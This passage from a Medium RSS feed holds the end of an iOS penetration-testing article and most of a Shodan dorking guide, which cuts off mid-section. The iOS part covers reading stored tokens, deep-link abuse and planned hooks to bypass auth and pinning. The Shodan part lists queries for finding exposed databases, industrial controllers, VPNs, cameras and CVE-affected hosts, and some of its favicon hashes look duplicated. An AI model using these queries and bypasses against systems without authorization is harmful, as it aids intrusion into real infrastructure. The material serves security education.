finding.</p><h3>Local Storage — Where Real-World Findings Consistently Live</h3><p>Under deadline pressure, developers store data in the easiest available location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*04HVveuLgMtMWzUI0EEQbA.png" /></figure><p>File protection classes:</p><ul><li>NSFileProtectionComplete — Encrypted until device unlocks. Strong.</li><li>NSFileProtectionCompleteUntilFirstUserAuthentication — Default. Decryptable after first unlock.</li><li>NSFileProtectionNone — No file-level protection beyond disk encryption. Finding.</li></ul><h3>Local Storage Analysis</h3><pre>ssh root@&lt;device-ip&gt;<br><br># Locate app preferences<br>find /var/mobile/Containers/Data/Application/ -name &quot;*.plist&quot; 2&gt;/dev/null | grep Preferences<br><br># Read NSUserDefaults<br>cd /var/mobile/Containers/Data/Application/[UUID]/<br>plutil -p Library/Preferences/com.company.app.plist</pre><p><strong>Finding example:</strong></p><pre>&quot;auth_token&quot;  =&gt; &quot;eyJhbGciOiJSUzI1NiJ9...&quot;     ← JWT in plaintext 🚨<br>&quot;last_pin&quot;    =&gt; &quot;1234&quot;                        ← PIN cached in plaintext 🚨🚨</pre><p><strong>SQLite inspection:</strong></p><pre>find . -name &quot;*.sqlite&quot; -o -name &quot;*.db&quot;<br>sqlite3 Library/Application\ Support/app_data.sqlite<br>.tables<br>SELECT * FROM user_sessions;<br>SELECT * FROM cached_credentials;</pre><p>Any credential, session token, or PII in an unencrypted SQLite database is a finding.</p><blockquote><em>💡 </em><strong><em>Fun Fact #3:</em></strong><em> NSUserDefaults was designed to store user </em>preferences<em> — things like “dark mode on” or “notification sound enabled.” The name says it plainly: </em>defaults<em>, not </em>secrets<em>. No encryption, no access controls, no protection beyond the app container. And yet production apps routinely store JWTs and auth tokens in it because </em><em>UserDefaults.standard.set() is three keystrokes and a Keychain write is fifteen lines of boilerplate. The path of least resistance is a security risk dressed up as a convenience API.</em></blockquote><h3>ATS — App Transport Security</h3><p>Introduced in iOS 9. Enforces HTTPS, mandates modern TLS, blocks insecure connections. One boolean in Info.plist disables all of it:</p><pre>&lt;key&gt;NSAppTransportSecurity&lt;/key&gt;<br>&lt;dict&gt;<br>    &lt;key&gt;NSAllowsArbitraryLoads&lt;/key&gt;<br>    &lt;true/&gt;<br>&lt;/dict&gt;</pre><p>Plain HTTP, any TLS version, every transport enforcement removed. The usual reason: a third-party SDK calls an endpoint that doesn’t support modern TLS, and disabling ATS globally is faster than scoping an exception domain.</p><h3>ATS Configuration Analysis</h3><pre>plutil -p Info.plist | grep -A 15 NSAppTransportSecurity<br>plutil -p Info.plist | grep NSAllowsArbitraryLoads</pre><p><strong>All ATS flags to enumerate:</strong></p><pre>NSAllowsArbitraryLoads: true                  → Full bypass 🚨<br>NSExceptionAllowsInsecureHTTPLoads            → Per-domain HTTP bypass<br>NSThirdPartyExceptionAllowsInsecureHTTPLoads  → SDK exception domains<br>NSAllowsLocalNetworking                       → Local network without TLS</pre><p>Exception domains narrow the blast radius but don’t eliminate it. Enumerate them all — they’re frequently internal admin panels or legacy API versions.</p><h3>URL Schemes &amp; Deep Links — The Forgotten Attack Surface</h3><p>Any app on the device — or a webpage a user visits — can call your target’s registered URL scheme:</p><pre>myapp://reset-password?token=abc123<br>myapp://open?screen=admin&amp;bypass_auth=true<br>myapp://checkout?amount=0&amp;discount=100</pre><p>Custom URL schemes have zero verification. Any app can call any scheme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*Vd4SX5v_DVa5xSfgRan-Dw.png" /></figure><h3>URL Scheme Testing</h3><pre># Extract registered schemes<br>plutil -p Info.plist | grep -A 5 CFBundleURLSchemes<br><br># &quot;CFBundleURLSchemes&quot; =&gt; [ 0: &quot;myapp&quot; ]</pre><p><strong>Manual testing from Safari:</strong></p><pre>myapp://test<br>myapp://reset-password?token=AAAAAAAAAA<br>myapp://dashboard/admin<br>myapp://checkout?amount=0.01&amp;promo=OVERRIDE</pre><p>App processes deep link without auth validation, or accepts parameters without server-side verification — vulnerability confirmed. Business impact depends on the triggered action.</p><h3>Entitlements — When Capabilities Become Vulnerabilities</h3><pre># macOS<br>codesign -d --entitlements :- AppName.app 2&gt;/dev/null<br><br># Linux<br>jtool2 --ent AppName</pre><p><strong>Risky entitlements:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*iItkGF2SGoi8IzeQfarDdg.png" /></figure><p>keychain-access-groups with a wildcard like com.company.* — overly broad. Grants Keychain access to any future app under that Team ID with a matching group.</p><blockquote><em>💡 </em><strong><em>Fun Fact #4:</em></strong><em> Development provisioning profiles sign apps with broader entitlements, debug access, and often disabled ATS — far more permissive than App Store builds. A development IPA that escapes into the wild through internal MDM distributions or contractor handoffs is legitimately signed, fully installable, and far more vulnerable than any production build. Finding a development IPA in scope is a significant finding before you’ve even analyzed the binary.</em></blockquote><h3>Workflow Acceleration — How Senior Testers Move Fast</h3><p>The gap between four hours to map an app versus forty minutes is systematic pre-mapping.</p><h3>Entitlement Diffing — Script It</h3><pre>for binary in AppName.app/AppName AppName.app/PlugIns/*.appex/*; do<br>    echo &quot;=== $binary ===&quot;;<br>    codesign -d --entitlements :- &quot;$binary&quot; 2&gt;/dev/null;<br>done &gt; all_entitlements.txt<br>diff \<br>  &lt;(grep -A5 &quot;keychain-access&quot; main_ent.txt) \<br>  &lt;(grep -A5 &quot;keychain-access&quot; ext_ent.txt)</pre><h3>TLS Delegate Pattern Search — Map Before You Hook</h3><pre>strings AppName | grep -E \<br>  &quot;URLSessionDelegate|didReceiveChallenge|SecTrustEvaluate|NSURLAuthenticationMethod&quot;</pre><p>You arrive at Frida work with a named function target, not a fishing expedition.</p><h3>Jailbreak Detection Pre-Mapping</h3><pre>strings AppName | grep -Ei \<br>  &quot;cydia|/Applications/Cydia|/usr/bin/ssh|fork|sysctl|substrate|jailbreak&quot;</pre><p><strong>Only rootful patterns present</strong> → rootless jailbreak likely undetected. Test and document.</p><h3>The Static-to-Dynamic Bridge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-YpBri_LLuaNWw1vm3q4Ng.png" /></figure><pre>STATIC PHASE — identify by name:<br>  AuthManager.validateToken()<br>  SecTrustEvaluate call site at 0x10045ab20<br>  JailbreakDetection.performIntegrityCheck()<br>            │<br>            ▼<br>DYNAMIC PHASE — hook ONLY these three:<br>  AuthManager.validateToken → override return<br>  SecTrustEvaluate → force trust<br>  JailbreakDetection.performIntegrityCheck → return false<br>            │<br>            ▼<br>Output: targeted, readable, reproducible.<br>Three hooks. Three confirmed findings.</pre><p>Professional testers don’t hook everything and observe. They pre-map, then hook with precision. Hook everything and you get pages of output with three relevant lines buried inside.</p><h3>Pre-Dynamic Control State</h3><p>Before you plug in a device, open Frida, or attempt a single bypass:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i6r0il3EL9kiekkpFcBhgw.png" /></figure><h3>The Bridge Into Runtime</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nvmaXLeN0NcMRMVhNQ3uZA.png" /></figure><h3>The Architecture Is the Attack Surface</h3><p>The decisions a developer makes when building an iOS app are not abstract engineering choices. They <em>are</em> the attack surface. Every time a developer stores a session token in NSUserDefaults instead of the Keychain, every time they set NSAllowsArbitraryLoads to make a third-party SDK cooperate, every time they ship a Share Extension with weaker hardening than the main binary — those decisions are readable from plist files and binary output before you&#39;ve ever plugged in a device.</p><p>Understanding the architecture is not the setup to the test. It <em>is</em> the test. Runtime is where you confirm what the architecture already told you.</p><pre>You don&#39;t find vulnerabilities by scanning.<br>You find them by understanding architecture and asking, &quot;What happens when this assumption breaks?&quot;</pre><p><strong>In Part 2</strong>, everything mapped here goes under real pressure: jailbreak detection bypass with Frida patterns, SSL pinning defeat, runtime memory analysis, business logic exploitation, network layer attacks, and the complete execution flow from clean device to confirmed finding.</p><p>If Part 1 was the map — Part 2 is the expedition.</p><blockquote>If your current mobile pentest workflow does not include half of the checklist above — you are not performing a full-scope iOS security assessment.</blockquote><p><em>📌 Follow along for Part 2. The runtime section covers specifics that most mobile security writing is too cautious to commit to properly. Drop findings from the wild in the comments — the best knowledge in this field lives in practitioner conversations, not vendor docs.</em></p><p><em>Part 2 coming soon · All technical content is for educational purposes and authorized testing engagements only</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50d0ee48835a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zero to Red Team: Master Shodan Dorking in One Read]]></title>
            <link>https://medium.com/@vulndetox/zero-to-red-team-master-shodan-dorking-in-one-read-24df16f2b84e?source=rss-cbf94896e53c------2</link>
            <guid isPermaLink="false">https://medium.com/p/24df16f2b84e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Shubham Gupta]]></dc:creator>
            <pubDate>Sun, 22 Mar 2026 20:22:01 GMT</pubDate>
            <atom:updated>2026-03-29T08:27:10.466Z</atom:updated>
            <content:encoded><![CDATA[<p>From Zero Queries to Enterprise Red Team Reconnaissance — Everything You Need to Master the World’s Most Powerful Search Engine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*x1W9Fb0GgM5i_zGa8cXxAQ.png" /></figure><h3>Before We Start — A Quick Reality Check</h3><p>You’ve probably heard this before: <em>“Security through obscurity is not security.”</em></p><p>But here’s the thing nobody tells you — the internet has been quietly proving that point every single day, for years. Right now, as you read this, there are hundreds of thousands of devices sitting exposed on the public internet. Databases with no passwords. Security cameras streaming live footage. Industrial control systems running power grids. All of it — findable, indexable, and searchable — if you know which tool to open.</p><p>That tool is <strong>Shodan</strong>.</p><p>And the skill of writing precise, targeted Shodan queries? That’s called <strong>Shodan Dorking</strong> — and it might just be the most underrated skill in the entire cybersecurity field.</p><p>This is not a surface-level “here are 5 cool Shodan tricks” article. This is the complete picture — from how Shodan actually works under the hood, to the dorks that professional red teams use, to building a full enterprise attack surface map. Grab a coffee. Let’s go deep.</p><blockquote><em>🎉 </em><strong><em>Fun Fact #1:</em></strong><em> Shodan was built by John Matherly in 2009. He originally called it the “Sentient Hyper-Optimized Data Access Network.” He was 18 when he started working on it. The cybersecurity industry has never been the same.</em></blockquote><h3>Part 1: What Is Shodan and Why Is It Different From Google?</h3><p>Google crawls <strong>web pages</strong>. It follows links, reads HTML, and builds a map of content humans wrote for humans to read.</p><p>Shodan crawls <strong>everything else</strong>.</p><p>Every device that listens on the internet — every open port, every responding service — Shodan’s scanners have connected to it, grabbed the raw response (called a <strong>banner</strong>), and indexed every single byte of it. That means:</p><ul><li><strong>Webcams</strong> streaming live footage</li><li><strong>Routers</strong> running firmware from 2014</li><li><strong>Industrial control systems</strong> managing water treatment plants</li><li><strong>Databases</strong> with no authentication enabled</li><li><strong>Smart fridges, smart TVs, smart locks</strong> — the whole IoT mess</li><li><strong>Corporate servers</strong> with forgotten admin panels</li><li><strong>Printers</strong> that have more open ports than your firewall policy allows</li></ul><p>Google will never show you these. Shodan exists specifically to show you these.</p><blockquote><em>🎉 </em><strong><em>Fun Fact #2:</em></strong><em> In 2012, a security researcher found </em><strong><em>over 500,000 devices</em></strong><em> still using the Telnet default password “1234” — just from a single Shodan search. Half a million devices. Default password. On the public internet.</em></blockquote><p>The genius of Shodan is that it’s not doing anything illegal or special. It’s just connecting to publicly reachable IP addresses on publicly open ports — the same thing your browser does when you visit a website. The difference is scale. Shodan does this <strong>continuously, across the entire IPv4 address space</strong>, 24 hours a day, 7 days a week.</p><h3>Part 2: How Shodan Actually Works — The Technical Truth</h3><p>Before you write a single query, you need to understand what data Shodan is actually collecting. This changes everything about how you search.</p><h3>The Banner — Shodan’s Atomic Unit of Data</h3><p>When Shodan’s scanner connects to an open port, the server responds with raw protocol data. That response is called a <strong>banner</strong>. Here’s a real example of what a banner from an HTTPS server looks like:</p><pre>HTTP/1.1 200 OK<br>Server: Apache/2.4.29 (Ubuntu)<br>X-Powered-By: PHP/7.2.24<br>Content-Type: text/html; charset=UTF-8<br>X-Frame-Options: SAMEORIGIN<br>Set-Cookie: PHPSESSID=abc123; path=/; HttpOnly</pre><p>That one banner just told you: the web server type and exact version, the PHP version running behind it, that it’s an Ubuntu box, and that session cookies exist. An attacker now knows to look up CVEs for Apache 2.4.29 and PHP 7.2.24. All from one HTTP response.</p><p>Shodan also grabs:</p><ul><li><strong>SSL/TLS certificate data</strong> (which leaks domain names, org names, expiry dates)</li><li><strong>Geolocation</strong> from IP (country, city, ISP)</li><li><strong>ASN</strong> (Autonomous System Number — tells you which company owns the IP block)</li><li><strong>Reverse DNS / PTR records</strong> (the hostname pointing to that IP)</li><li><strong>Open port list</strong> (all ports Shodan found open on that host)</li><li><strong>Raw banner text</strong> (everything the service said when Shodan knocked)</li></ul><p>This is what you search against when you write a Shodan query. Not web pages. Not content humans wrote. Raw machine responses.</p><blockquote><em>🎉 </em><strong><em>Fun Fact #3:</em></strong><em> Shodan scans roughly </em><strong><em>1,500 ports</em></strong><em> on every IP address. The full IPv4 space is about 4.3 billion addresses. Shodan processes millions of banners every hour. That’s more data collected per day than most companies store in a year.</em></blockquote><h3>Part 3: Your First Shodan Queries — Learning the Syntax</h3><p>Shodan’s query language is clean and elegant once you understand the logic. Let’s break it down from first principles.</p><h3>Plain Text Search</h3><p>The simplest query is just a word or phrase. Shodan searches across all banner text for matches:</p><pre>webcam</pre><p>This returns every host where the word “webcam” appeared anywhere in the banner. Not very precise, but it’s a start.</p><h3>Filter Syntax</h3><p>The power comes from <strong>filters</strong> — filter:value pairs that narrow your results:</p><pre>port:22<br>country:IN<br>org:&quot;Tata Consultancy Services&quot;<br>product:nginx</pre><p>No spaces around the colon. Values with spaces go in quotes.</p><h3>Combining Filters</h3><p>Multiple filters are ANDed together by default. There’s no need to write AND explicitly:</p><pre>port:3306 country:IN</pre><p>This finds MySQL servers (port 3306) in India. That’s it. Two tokens, massively narrowed scope.</p><h3>Adding Free Text to Filters</h3><p>Mix free-text keywords with filters freely:</p><pre>&quot;MongoDB Server Information&quot; country:IN</pre><p>This finds MongoDB instances (identified by a string in their banner) located in India.</p><h3>Exclusions</h3><p>Use a - prefix to exclude results:</p><pre>product:nginx -port:80 -port:443</pre><p>This finds nginx servers NOT running on the standard web ports — a classic indicator of shadow IT or misconfigured services.</p><h3>Wildcards in String Values</h3><p>You can use * in some filter values:</p><pre>ssl.cert.subject.cn:&quot;*.example.com&quot;</pre><p>This finds all IPs serving SSL certificates issued to any subdomain of example.com. Incredibly powerful for org reconnaissance.</p><h3>Part 4: The Critical Data Fields — Know Your Search Space</h3><p>These are the fields Shodan indexes and that you can filter against. Memorize these. They are your vocabulary.</p><p>Filter What It Searches ip Exact IP address port Open port number org Organization name from WHOIS/ASN data hostname Reverse DNS / PTR record net CIDR network range (e.g., net:10.0.0.0/8) asn Autonomous System Number (e.g., asn:AS15169) country Two-letter country code city City of geolocation os Detected operating system product Identified software product version Software version string ssl.cert.subject.cn SSL Common Name (the domain in the cert) ssl.cert.subject.o Organization field in the SSL cert ssl.cert.issuer.cn Who issued the certificate ssl.cert.expired true or false — cert expiry status ssl.cert.fingerprint SHA fingerprint — useful for pivoting http.title The HTML &lt;title&gt; tag of the page http.status HTTP response code (200, 401, 403…) http.html Search inside the page body HTML vuln Matched CVE identifier (API key required) has_screenshot true if Shodan captured a screenshot before Results indexed before a date after Results indexed after a date</p><h3>Part 5: The Dorks That Actually Matter — A Professional Library</h3><p>This is the section you came for. These are real dorks that real security teams use.</p><blockquote><em>⚠️ </em><strong><em>Ethical Reminder:</em></strong><em> Finding an exposed system on Shodan and accessing it are two completely different things. The first is OSINT. The second is unauthorized access. Only test systems you own or have explicit written permission to test.</em></blockquote><h3>Category 1: Exposed Databases — The Goldmine</h3><p>Every month, thousands of databases are accidentally left open to the internet. These searches find them.</p><pre># Open MongoDB — no authentication required<br>&quot;MongoDB Server Information&quot; -&quot;partially&quot;<br><br># Elasticsearch clusters (check for .kibana = unauthenticated)<br>port:9200 http.title:&quot;Kibana&quot;<br>port:9200 json<br><br># Redis open to internet (can lead to RCE via config write)<br>port:6379 &quot;redis_version&quot;<br>&quot;redis_version&quot; -authentication<br><br># MySQL exposed to public internet (should never happen)<br>port:3306 &quot;mysql_native_password&quot;<br>port:3306 country:IN<br><br># PostgreSQL open port<br>port:5432 &quot;PostgreSQL&quot;<br><br># CouchDB admin panel accessible<br>port:5984 http.title:&quot;CouchDB&quot;<br><br># Cassandra<br>port:9042<br><br># Memcached - can be abused for massive DDoS amplification<br>port:11211 &quot;STORED&quot;</pre><blockquote><em>🎉 </em><strong><em>Fun Fact #4:</em></strong><em> In 2017, a security researcher found </em><strong><em>73 million records</em></strong><em> from a US voter database in an open MongoDB instance — just from a Shodan search. The organization didn’t know it was exposed. It had been sitting open for weeks.</em></blockquote><h3>Category 2: Industrial Control Systems — The Actually Scary Stuff</h3><p>ICS/SCADA systems should <strong>never</strong> be internet-exposed. They almost always run old firmware with known vulnerabilities and control physical infrastructure.</p><pre># Modbus — the industrial communication protocol<br># Used in power plants, factories, water treatment<br>port:502<br># Siemens S7 PLCs (power grids, manufacturing)<br>port:102<br># DNP3 - power utility communications<br>port:20000<br># BACnet - building automation (HVAC, elevators, lighting)<br>port:47808<br># Rockwell/Allen-Bradley PLCs<br>port:44818<br><br># SCADA HMI web interfaces<br>http.title:&quot;SCADA&quot;<br>http.title:&quot;HMI&quot;<br>http.title:&quot;Wonderware&quot;<br>http.title:&quot;InTouch&quot;<br><br># GE iFIX SCADA<br>http.title:&quot;iFIX&quot;<br><br># Schneider Electric<br>http.title:&quot;Schneider Electric&quot;</pre><blockquote><em>🎉 </em><strong><em>Fun Fact #5:</em></strong><em> In 2016, Shodan’s creator John Matherly discovered that </em><strong><em>over 50,000 ICS devices</em></strong><em> were directly accessible from the internet with zero authentication — including systems for water treatment, nuclear facilities, and power substations. He published the finding. Many still haven’t been patched.</em></blockquote><h3>Category 3: Remote Access — Every Attacker’s Favorite Entry Points</h3><p>Exposed remote access interfaces are ransomware groups’ single biggest source of initial access.</p><pre># RDP (Remote Desktop) exposed to internet — ransomware entry #1<br>port:3389 product:&quot;Remote Desktop Protocol&quot;<br>port:3389 &quot;Windows&quot;<br><br># VNC with authentication disabled<br>port:5900 &quot;authentication disabled&quot;<br>port:5900 &quot;VNC&quot;<br><br># SSH on port 22 (not bad by itself, but useful for attack surface mapping)<br>port:22 &quot;OpenSSH&quot; org:&quot;Target&quot;<br><br># Citrix Netscaler / ADC Gateway<br>http.title:&quot;Citrix Gateway&quot;<br>http.title:&quot;Citrix ADC&quot;<br><br># Cisco ASA VPN / ASDM<br>http.title:&quot;Cisco ASDM&quot;<br>http.title:&quot;SSL VPN&quot;<br><br># Fortinet FortiGate SSL-VPN<br>ssl:&quot;Fortinet&quot; http.title:&quot;FortiGate&quot;<br>product:&quot;FortiGate&quot;<br><br># Pulse Secure VPN (multiple critical CVEs)<br>http.title:&quot;Pulse Secure&quot;<br><br># Sonicwall VPN<br>http.title:&quot;SonicWall&quot;<br><br># Palo Alto GlobalProtect<br>http.title:&quot;GlobalProtect&quot;<br><br># TeamViewer<br>port:5938<br><br># WinRM - Windows Remote Management (can mean lateral movement risk)<br>port:5985  port:5986</pre><h3>Category 4: Security Cameras and IoT — The Surveillance Nightmare</h3><pre># Hikvision cameras (largest camera manufacturer, common default creds)<br>http.title:&quot;Hikvision&quot;<br>product:&quot;Hikvision IP Camera&quot;<br>&quot;hikvision&quot; port:8000<br><br># Dahua cameras<br>http.title:&quot;WEB SERVICE&quot; product:&quot;Dahua&quot;<br>&quot;Dahua&quot; port:37777<br><br># Axis network cameras<br>http.title:&quot;AXIS&quot; http.status:200<br><br># Bosch cameras<br>http.title:&quot;Bosch&quot;<br><br># Generic RTSP streams (live video)<br>port:554 &quot;rtsp&quot;<br>port:554 has_screenshot:true<br><br># IP camera interfaces<br>http.title:&quot;IP Camera&quot; http.status:200<br>http.title:&quot;Network Camera&quot;<br><br># Webcam interfaces<br>has_screenshot:true port:8080<br>has_screenshot:true http.title:&quot;camera&quot;<br><br># Netwave cameras (common in hospitals, offices)<br>&quot;netwave&quot; port:8080<br><br># D-Link cameras<br>http.title:&quot;D-Link&quot;</pre><blockquote><em>🎉 </em><strong><em>Fun Fact #6:</em></strong><em> There’s an unofficial Shodan command called </em><em>has_screenshot:true that returns devices where Shodan actually captured a screenshot. You can see the live output of open cameras, exposed desktops, and IoT device dashboards — without even connecting to them yourself.</em></blockquote><h3>Category 5: Cloud, DevOps &amp; Developer Misconfigurations</h3><p>This category has exploded in the last 5 years. Developers spinning up services fast often skip security configuration.</p><pre># Kubernetes API server exposed (cluster takeover risk)<br>port:6443 &quot;k8s&quot;<br>http.title:&quot;Kubernetes&quot;<br>port:8080 &quot;Kubernetes&quot;<br><br># Docker daemon API exposed (instant code execution)<br>port:2375 &quot;/containers/json&quot;<br>port:2376 &quot;Docker&quot;<br><br># Grafana dashboards exposed (check for CVE-2021-43798 path traversal)<br>http.title:&quot;Grafana&quot;<br><br># Jenkins CI/CD (check for Script Console = RCE)<br>http.title:&quot;Dashboard [Jenkins]&quot;<br>http.title:&quot;Jenkins&quot; http.status:200<br><br># Jupyter Notebooks - exposed Python execution environment<br>http.title:&quot;Jupyter Notebook&quot; -&quot;password&quot;<br>http.title:&quot;Jupyter&quot; http.status:200<br><br># GitLab CE exposed<br>http.title:&quot;GitLab&quot;<br><br># Portainer - Docker management UI<br>http.title:&quot;Portainer&quot;<br><br># HashiCorp Vault<br>http.title:&quot;Vault&quot;<br><br># Consul (service mesh - can be abused for data exfil)<br>port:8500 &quot;Consul&quot;<br><br># Prometheus metrics endpoint (data leakage)<br>http.title:&quot;Prometheus Time Series Collection and Processing Server&quot;<br># Traefik dashboard<br>http.title:&quot;Traefik&quot;<br># Airflow scheduler dashboard<br>http.title:&quot;Airflow&quot;<br># Rancher Kubernetes management<br>http.title:&quot;Rancher&quot;</pre><h3>Category 6: Network Infrastructure — The Foundation Layer</h3><pre># Exposed router admin panels<br>http.title:&quot;Router&quot; http.status:200<br>http.title:&quot;D-Link&quot; http.status:200<br>http.title:&quot;Netgear&quot; http.status:200<br>http.title:&quot;ASUS RT&quot;<br><br># MikroTik routers (very common in ISPs)<br>&quot;MikroTik&quot; port:8291<br>http.title:&quot;RouterOS&quot;<br><br># Cisco IOS devices<br>&quot;Cisco IOS&quot; port:23<br>&quot;IOS&quot; &quot;Cisco&quot;<br><br># Juniper devices<br>&quot;Juniper&quot; port:830<br><br># pfSense / OPNsense firewalls exposed<br>http.title:&quot;pfSense&quot;<br>http.title:&quot;OPNsense&quot;<br><br># Exposed SNMP (can enumerate full device config)<br>port:161<br># Telnet wide open (2024 and people still do this)<br>port:23<br># FTP with anonymous login<br>port:21 &quot;220&quot; &quot;anonymous&quot;<br># SMTP open relay (can be abused for spam)<br>port:25 &quot;220 ESMTP&quot; &quot;open relay&quot;</pre><h3>Category 7: CVE-Specific Hunting Dorks</h3><p>This is advanced dorking — targeting specific known vulnerabilities.</p><pre># Log4Shell (CVE-2021-44228) — VMware Horizon<br>http.title:&quot;VMware Horizon&quot; http.status:200<br><br># ProxyShell (CVE-2021-34473) - Microsoft Exchange<br>http.title:&quot;Outlook Web App&quot;<br>product:&quot;Microsoft Exchange httpapi&quot;<br><br># ProxyLogon - Exchange 2013, 2016, 2019<br>&quot;Microsoft HTTPAPI httpd 2.0&quot; port:443<br><br># PaperCut (CVE-2023-27350) - unauthenticated RCE<br>http.title:&quot;PaperCut&quot; http.status:200<br><br># MOVEit Transfer (CVE-2023-34362) - SQL injection + RCE<br>http.title:&quot;MOVEit Transfer&quot;<br><br># Citrix Bleed (CVE-2023-4966)<br>http.title:&quot;Citrix ADC&quot; ssl:&quot;Citrix&quot;<br><br># F5 BIG-IP (CVE-2023-46747)<br>http.title:&quot;BIG-IP&quot;<br>product:&quot;F5 BIG-IP&quot;<br><br># Apache Struts (CVE-2023-50164)<br>product:&quot;Apache Tomcat&quot;<br><br># GoAnywhere MFT (CVE-2023-0669)<br>http.title:&quot;GoAnywhere&quot;<br><br># Ivanti Connect Secure VPN (CVE-2024-21887, CVE-2023-46805)<br>http.title:&quot;Ivanti&quot;<br>ssl:&quot;Ivanti&quot;<br><br># Using Shodan&#39;s built-in vuln filter (requires API key)<br>vuln:CVE-2021-44228<br>vuln:CVE-2023-27350<br>vuln:CVE-2021-34473 org:&quot;Target Organization&quot;</pre><h3>Part 6: The Secret Weapon Nobody Talks About — http.favicon.hash</h3><p>This is the single most powerful Shodan filter that most guides never mention. If you take one thing from this entire article beyond basic syntax, make it this.</p><p>Every web application has a favicon — that tiny icon in your browser tab. Favicons are unique fingerprints per product. A Grafana favicon looks the same on every Grafana instance worldwide. A Cobalt Strike C2 server’s favicon looks the same regardless of which threat actor is running it. A Fortinet gateway always serves the same icon.</p><p>Shodan hashes every favicon it encounters. You grab that hash, and you can find <strong>every single instance of that product on the entire internet</strong> — regardless of what port it’s running on, what hostname it has, or how hard the operator tried to hide it.</p><blockquote><em>🎉 </em><strong><em>Fun Fact #7:</em></strong><em> Security researchers have found active Cobalt Strike command-and-control servers run by APT groups purely through favicon hash matching. The attacker changed everything — port, TLS cert, hostname — but couldn’t change the favicon without breaking the product. The hash never lies.</em></blockquote><h3>How to Get a Favicon Hash</h3><pre>import mmh3<br>import requests<br>import codecs<br>def get_favicon_hash(url):<br>    response = requests.get(url, timeout=5)<br>    favicon = codecs.encode(response.content, &quot;base64&quot;)<br>    # mmh3 MurmurHash3 - same algorithm Shodan uses<br>    hash_value = mmh3.hash(favicon)<br>    return hash_value<br># Example<br>hash_val = get_favicon_hash(&#39;https://target.com/favicon.ico&#39;)<br>print(f&quot;Shodan query: http.favicon.hash:{hash_val}&quot;)</pre><h3>Ready-to-Use Favicon Hash Dorks</h3><p>These are confirmed, tested hashes for real products:</p><pre># Cobalt Strike C2 team servers (threat actor infrastructure)<br>http.favicon.hash:-335242539<br># Grafana dashboards<br>http.favicon.hash:116323821<br># Fortinet / FortiGate<br>http.favicon.hash:-1028703694<br># Jenkins CI/CD<br>http.favicon.hash:81586312<br># GitLab<br>http.favicon.hash:1278323681<br># Jupyter Notebooks<br>http.favicon.hash:541088007<br># Kibana (Elasticsearch frontend)<br>http.favicon.hash:-1659512841<br># phpMyAdmin<br>http.favicon.hash:1722105798<br># Netdata monitoring<br>http.favicon.hash:-1524558921<br># Webmin server admin panel<br>http.favicon.hash:-471426521<br># Traefik reverse proxy dashboard<br>http.favicon.hash:542093262<br># Harbor container registry<br>http.favicon.hash:854992623<br># Rancher Kubernetes UI<br>http.favicon.hash:-1401658736<br># VMware vSphere / vCenter<br>http.favicon.hash:1621371862<br># Outlook Web App (OWA)<br>http.favicon.hash:442749392<br># Oracle WebLogic console<br>http.favicon.hash:-1286589462<br># SAP Web GUI<br>http.favicon.hash:-338745917</pre><h3>The Threat Actor Hunt Use Case</h3><p>This is what makes favicon hashing elite-level:</p><pre># Find Cobalt Strike C2 globally<br>http.favicon.hash:-335242539<br><br># Narrow to specific country (threat intel correlation)<br>http.favicon.hash:-335242539 country:CN<br><br># Find Metasploit handler endpoints<br>http.favicon.hash:-127886975<br><br># Find Empire C2 (PowerShell Empire)<br>http.favicon.hash:1278323681<br><br># Find Havoc C2 framework<br>http.favicon.hash:893284639</pre><p>Red teams use this to find their own C2 infrastructure before blue teams do. Threat intel teams use it to map active adversary infrastructure. It’s one of the few techniques that genuinely works on both offense and defense.</p><h3>Part 7: Advanced Enterprise Targets — The Real Red Team Hits</h3><p>These are the targets that appear in actual breach reports, CISA advisories, and bug bounty hall-of-fames. Every serious red team knows these by heart.</p><h3>VMware vCenter and ESXi — Ransomware’s Favorite Entry Point</h3><p>VMware vCenter and ESXi hosts sitting directly on the internet are the #1 ransomware initial access vector in enterprise environments right now. Ransomware groups actively hunt these with Shodan.</p><pre># VMware vCenter Server (manage entire VM infrastructure)<br>http.title:&quot;vSphere Client&quot;<br>http.title:&quot;VMware vCenter Server&quot;<br>product:&quot;VMware vCenter&quot;<br><br># VMware ESXi hosts exposed directly<br>http.title:&quot;VMware ESXi&quot;<br>product:&quot;VMware ESXi&quot;<br>&quot;VMware ESXi&quot; port:443<br><br># VMware Horizon (Log4Shell was devastating here)<br>http.title:&quot;VMware Horizon&quot;<br>http.title:&quot;VMware Horizon View&quot;<br><br># VMware vRealize (automation platform)<br>http.title:&quot;vRealize&quot;<br><br># CVE-2021-21985, CVE-2021-22005, CVE-2023-20867 - all vCenter<br>vuln:CVE-2021-21985 product:&quot;VMware vCenter&quot;<br>vuln:CVE-2023-20867</pre><blockquote><em>🎉 </em><strong><em>Fun Fact #8:</em></strong><em> After CVE-2021–22005 dropped (unauthenticated arbitrary file upload in vCenter), Shodan found over </em><strong><em>6,700 exposed vCenter instances</em></strong><em> within 48 hours. Ransomware groups had working exploits the same day the patch released.</em></blockquote><h3>Atlassian Confluence and Jira — Enterprise Collaboration = Enterprise Risk</h3><p>Atlassian products are everywhere in enterprise. Multiple critical CVEs with public exploits. Constantly targeted.</p><pre># Confluence — wiki/documentation platform<br>http.title:&quot;Confluence&quot;<br>product:&quot;Atlassian Confluence&quot;<br>http.title:&quot;Log In - Confluence&quot;<br><br># Jira - project management and ticketing<br>http.title:&quot;Jira&quot;<br>product:&quot;Atlassian Jira&quot;<br>http.title:&quot;Log In - Jira&quot;<br><br># Bitbucket - source code repos (finding these is extremely valuable)<br>http.title:&quot;Bitbucket&quot;<br>product:&quot;Atlassian Bitbucket&quot;<br><br># CVE-2022-26134 - Confluence OGNL injection, unauthenticated 